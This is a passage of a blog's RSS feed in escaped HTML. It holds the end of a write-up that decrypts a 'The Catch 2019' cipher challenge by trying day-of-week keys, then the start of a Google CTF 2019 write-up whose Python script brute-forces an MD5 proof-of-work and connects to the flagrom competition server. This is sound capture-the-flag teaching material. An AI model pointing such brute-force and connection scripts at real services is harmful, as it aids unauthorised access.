class=&quot;mspace&quot; style=&quot;margin-right:0.2777777777777778em;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:0.64444em;vertical-align:0em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;6&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;8&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; digits and as such there is no integer
solution for &lt;span class=&quot;katex&quot;&gt;&lt;span class=&quot;katex-mathml&quot;&gt;&lt;math xmlns=&quot;http://www.w3.org/1998/Math/MathML&quot;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;N&lt;/mi&gt;&lt;/mrow&gt;&lt;annotation encoding=&quot;application/x-tex&quot;&gt;N &lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&quot;katex-html&quot; aria-hidden=&quot;true&quot;&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:0.68333em;vertical-align:0em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.10903em;&quot;&gt;N&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;. The closest we can get is &lt;span class=&quot;katex&quot;&gt;&lt;span class=&quot;katex-mathml&quot;&gt;&lt;math xmlns=&quot;http://www.w3.org/1998/Math/MathML&quot;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;L&lt;/mi&gt;&lt;mo stretchy=&quot;false&quot;&gt;(&lt;/mo&gt;&lt;mn&gt;17&lt;/mn&gt;&lt;mo stretchy=&quot;false&quot;&gt;)&lt;/mo&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;mn&gt;153&lt;/mn&gt;&lt;/mrow&gt;&lt;annotation encoding=&quot;application/x-tex&quot;&gt;L(17) = 153 &lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&quot;katex-html&quot; aria-hidden=&quot;true&quot;&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:1em;vertical-align:-0.25em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot;&gt;L&lt;/span&gt;&lt;span class=&quot;mopen&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;7&lt;/span&gt;&lt;span class=&quot;mclose&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2777777777777778em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mrel&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2777777777777778em;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:0.64444em;vertical-align:0em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;3&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; and &lt;span class=&quot;katex&quot;&gt;&lt;span class=&quot;katex-mathml&quot;&gt;&lt;math xmlns=&quot;http://www.w3.org/1998/Math/MathML&quot;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;L&lt;/mi&gt;&lt;mo stretchy=&quot;false&quot;&gt;(&lt;/mo&gt;&lt;mn&gt;18&lt;/mn&gt;&lt;mo stretchy=&quot;false&quot;&gt;)&lt;/mo&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;mn&gt;171&lt;/mn&gt;&lt;/mrow&gt;&lt;annotation encoding=&quot;application/x-tex&quot;&gt;L(18) = 171 &lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&quot;katex-html&quot; aria-hidden=&quot;true&quot;&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:1em;vertical-align:-0.25em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot;&gt;L&lt;/span&gt;&lt;span class=&quot;mopen&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;mclose&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2777777777777778em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mrel&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2777777777777778em;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:0.64444em;vertical-align:0em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;7&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;1&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;.&lt;/p&gt;

&lt;p&gt;At this point I was hopelessly stuck, attempting to rearrange the blocks manually,
generating the block sizes using various more or less sane methods. The challenge
hints that the key is a day of week, but what if the block sizes are generated
from the hexadecimal digits of the key or something.&lt;/p&gt;

&lt;p&gt;After a large amount of effort I finally decided to try the obvious — dividing
the ciphertext to fixed-size substrings and using the decryption algorithm on
them individually, concatenating the result at the end.&lt;/p&gt;

&lt;p&gt;For our given &lt;span class=&quot;katex&quot;&gt;&lt;span class=&quot;katex-mathml&quot;&gt;&lt;math xmlns=&quot;http://www.w3.org/1998/Math/MathML&quot;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;L&lt;/mi&gt;&lt;/mrow&gt;&lt;annotation encoding=&quot;application/x-tex&quot;&gt;L &lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&quot;katex-html&quot; aria-hidden=&quot;true&quot;&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:0.68333em;vertical-align:0em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot;&gt;L&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; we can divide it with lengths of &lt;code&gt;monday&lt;/code&gt;, &lt;code&gt;tuesday&lt;/code&gt;, &lt;code&gt;friday&lt;/code&gt; and &lt;code&gt;sunday&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Now I just tried all the possible keys and got the result.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;dow&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;days_of_week&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;key_nums&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;key_to_num&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;dow&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;N&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;sum&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;key_nums&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;L&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;L&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;%&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;N&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;dow&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&amp;quot;skipped&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;continue&lt;/span&gt;

    &lt;span class=&quot;n&quot;&gt;total&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&amp;quot;&amp;quot;&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;range&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;L&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;//&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;N&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;d&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;N&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;N&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;blocks&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ciphertext_to_blocks&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;d&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;key_nums&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;seri&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;blocks_to_plaintext&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;blocks&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;total&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;seri&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;total&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;%&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;dow&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;binascii&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;unhexlify&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;total&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;dow&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&amp;quot;Invalid total result length&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;&lt;span&gt;&lt;/span&gt;monday b&amp;#39;Broadcast on all frequencies and in all known languages:
    FLAG{uB8W-XBtp-OmtE-Q2Ys}\x00\x00&amp;#39;
tuesday b&amp;quot;FvF\xf62\xf0\x13$b&amp;#39;v\x16a\x07Rg0nggl\x01VfS,fYn+\x06
    \x9el\x06fB\x01.l\x16bnfvVrw\xe1\xa1ld\xf7f\x06.\xc4\xb7t\xd0
    EG&amp;#39;05%C$v!\x88_P\xd3WiD$\xd7\x12}s\xd5\x07\x00&amp;quot;
wednesday skipped
thursday skipped
friday b&amp;#39;Broadcast on all frequencies and in all known languages:
    FLAG{uB8W-XBtp-OmtE-Q2Ys}\x00\x00&amp;#39;
saturday skipped
sunday b&amp;quot;Abof\x14c7r$pol a\x06l&amp;#39;&amp;amp;enqseng9e\x06%and in\xc6ab\x0c+
    `n`gn&amp;amp;\xecawoeqg s:\xc4FDqkuuMXW&amp;#39;HB\x02rM?mQE-\x972W\xd3p\x04\x00&amp;quot;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Note that both &lt;code&gt;monday&lt;/code&gt; and &lt;code&gt;friday&lt;/code&gt; produce the same numerical key.&lt;/p&gt;
</description>
        <pubDate>Mon, 21 Oct 2019 00:00:00 +0200</pubDate>
        <link>https://blog.atx.name/the-catch-2019/</link>
        <guid isPermaLink="true">https://blog.atx.name/the-catch-2019/</guid>
        
        
      </item>
    
      <item>
        <title>Google CTF 2019 writeup</title>
        <description>&lt;p&gt;After a long time of not-really-CTFing, I decided to a part in the
&lt;a href=&quot;https://capturetheflag.withgoogle.com/&quot;&gt;Google CTF&lt;/a&gt; and exercise my somewhat
rusty skills. This is a writeup of some of the challenges in the competition.
I also wanted to play with &lt;a href=&quot;https://github.com/NationalSecurityAgency/ghidra&quot;&gt;Ghidra&lt;/a&gt;
a bit, seeing as it is a new shiny reverse engineering tool.&lt;/p&gt;

&lt;h2 id=&quot;contents&quot;&gt;Contents&lt;/h2&gt;

&lt;p&gt;&lt;a href=&quot;#flagrom&quot;&gt;flagrom&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;#secure-boot&quot;&gt;secure-boot&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;#dialtone&quot;&gt;dialtone&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;#devmaster-8001&quot;&gt;devmaster-8001&lt;/a&gt;&lt;br /&gt;&lt;/p&gt;

&lt;h2 id=&quot;flagrom&quot;&gt;Flagrom&lt;/h2&gt;

&lt;p&gt;We are provided with a C source &lt;a href=&quot;/paste/google-ctf-2019/flagrom-firmware.c&quot;&gt;code&lt;/a&gt; for an 8051
microcontroller, Verilog source &lt;a href=&quot;/paste/google-ctf-2019/flagrom-seeprom.sv&quot;&gt;code&lt;/a&gt; for an I²C
“secure” EEPROM, also a binary with compiled firmware and an executable
file that can emulate the entire setup.&lt;/p&gt;

&lt;p&gt;The target is to convince the (locked) EEPROM to give up the flag.&lt;/p&gt;

&lt;p&gt;Reversing the binary is not really all that useful, as the flag lives only on
the remote instance. Quick look at the debug symbols reveals that it uses
&lt;a href=&quot;https://www.veripool.org/wiki/verilator&quot;&gt;verilator&lt;/a&gt; for simulating the EEPROM
and &lt;a href=&quot;https://github.com/jarikomppa/emu8051&quot;&gt;emu8051&lt;/a&gt; for the 8051.&lt;/p&gt;

&lt;p&gt;On connecting, the server responds with a challenge, requiring us to brute force
an MD5 hash.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-console&quot; data-lang=&quot;console&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;span class=&quot;go&quot;&gt;&amp;lt; What&amp;#39;s a printable string less than 64 bytes that starts with flagrom- whose md5 starts with eeae5c?&lt;/span&gt;
&lt;span class=&quot;gp&quot;&gt;&amp;gt;&lt;/span&gt; flagrom-aaaaaaaaaaadbhaN
&lt;span class=&quot;go&quot;&gt;&amp;lt; What&amp;#39;s the length of your payload?&lt;/span&gt;
&lt;span class=&quot;gp&quot;&gt;&amp;gt;&lt;/span&gt; N
&lt;span class=&quot;gp&quot;&gt;&amp;gt;&lt;/span&gt; &amp;lt;N-bytes-of-data&amp;gt;
&lt;span class=&quot;go&quot;&gt;&amp;lt; Executing firmware&lt;/span&gt;
&lt;span class=&quot;go&quot;&gt;&amp;lt; [FW] Writing flag to SecureEEPROM...............DONE&lt;/span&gt;
&lt;span class=&quot;go&quot;&gt;&amp;lt; [FW] Securing SecureEEPROM flag banks...........DONE&lt;/span&gt;
&lt;span class=&quot;go&quot;&gt;&amp;lt; [FW] Removing flag from 8051 memory.............DONE&lt;/span&gt;
&lt;span class=&quot;go&quot;&gt;&amp;lt; [FW] Writing welcome message to SecureEEPROM....DONE&lt;/span&gt;
&lt;span class=&quot;go&quot;&gt;&amp;lt; Executing usercode...&lt;/span&gt;
&lt;span class=&quot;go&quot;&gt;&amp;lt; &amp;lt;output-from-user-code&amp;gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;After providing the correct plaintext to the server, it proceeds execute
the original firmware. Then it loads user-supplied binary and runs it with the
now-locked EEPROM attached.&lt;/p&gt;

&lt;p&gt;To make life easier, it is a good idea to patch the provided binary to avoid
having to wait for the hash while developing. I just replaced the &lt;code&gt;/dev/urandom&lt;/code&gt;
string with &lt;code&gt;/dev/zero&lt;/code&gt; using radare2 (Ghidra has executable patching
&lt;a href=&quot;https://github.com/NationalSecurityAgency/ghidra/issues/19&quot;&gt;broken&lt;/a&gt; at the
moment).&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/images/google-ctf-2019/flagrom-radarepatch.png&quot;&gt;&lt;img class=&quot;&quot; style=&quot;width: 100.0%;&quot; src=&quot;/images/google-ctf-2019/t/flagrom-radarepatch.png&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now we are ready to send custom firmware binaries to the remote server.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;brute_hash&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;nonce&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;prefix&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&amp;quot;flagrom-&amp;quot;&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;s_&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;itertools&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;product&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;string&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ascii_letters&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;repeat&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;16&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;s&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;join&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s_&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;full_str&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;prefix&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;md5&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;hashlib&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;md5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;full_str&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;encode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;())&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;hexdigest&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;md5&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;encode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;startswith&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;nonce&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;full_str&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;raise&lt;/span&gt; &lt;span class=&quot;ne&quot;&gt;ValueError&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;WTF&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;host&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&amp;quot;flagrom.ctfcompetition.com&amp;quot;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;port&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1337&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;tn&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;telnetlib&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Telnet&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;host&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;port&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;prompt&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;tn&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;read_until&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;nonce&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;prompt&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;split&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()[&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;][:&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;Brute forcing hash {}&amp;quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;format&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;nonce&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;response&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;brute_hash&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;nonce&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;Found&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;response&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;tn&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;write&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;response&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;encode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

